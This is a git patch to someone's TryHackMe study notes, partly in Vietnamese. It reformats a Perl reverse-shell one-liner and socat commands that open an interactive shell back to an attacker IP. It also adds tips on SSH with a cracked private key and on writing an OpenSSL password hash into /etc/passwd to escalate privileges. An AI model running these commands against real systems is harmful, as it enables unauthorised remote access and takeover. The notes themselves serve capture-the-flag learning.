From b4734e190ef67fa2cd0cc1d97f35582f813921ff Mon Sep 17 00:00:00 2001 From: haudang217 <84620744+haudang217@users.noreply.github.com> Date: Thu, 25 Aug 2022 15:38:35 +0700 Subject: [PATCH] SSH + Linux password --- Tryhackme/Readme | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/Tryhackme/Readme b/Tryhackme/Readme index 819c8db..63683d1 100644 --- a/Tryhackme/Readme +++ b/Tryhackme/Readme @@ -8,8 +8,7 @@ * Perl perl -e 'use Socket;$i="10.0.0.1"; - $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S - ,sockaddr_in($p,inet_aton($i)))) + $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' @@ -74,10 +73,10 @@ UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs python -c 'import pty; pty.spawn("/bin/bash")' • using socat -#Listener: - socat file:`tty`,raw,echo=0 tcp-listen:4444 -#Victim: - socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 + #Listener: + socat file:`tty`,raw,echo=0 tcp-listen:4444 + #Victim: + socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 • using stty options # In reverse shell @@ -104,7 +103,19 @@ Tìm nhiều hơn tại link sau: https://gtfobins.github.io/ ----------------------------------------------------------------------------------------------------------------------- - +CÁC VẤN ĐỀ LIÊN QUAN ĐẾN SSH + +Có thể thực hiện việc ssh thông qua một file id_rsa chứa private_key với cấu trúc: sss username@ip -i id_rsa +File này có thể được crack thông qua link sau: https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/ + +----------------------------------------------------------------------------------------------------------------------- + +CẤN VẤN ĐỀ LIÊN QUAN ĐẾN PASSWORD TRONG LINUX + +Có thể tạo ra một password theo chuẩn của linux tạo ra thông qua: Openssl passwd "password" +Password thường chứa trong /etc/shadow nhưng ta có thể hoàn toàn thay thế trong file /etc/passwd (tập tin này mọi user đều có quyền read). + +------------------------------------------------------------------------------------------------------------------------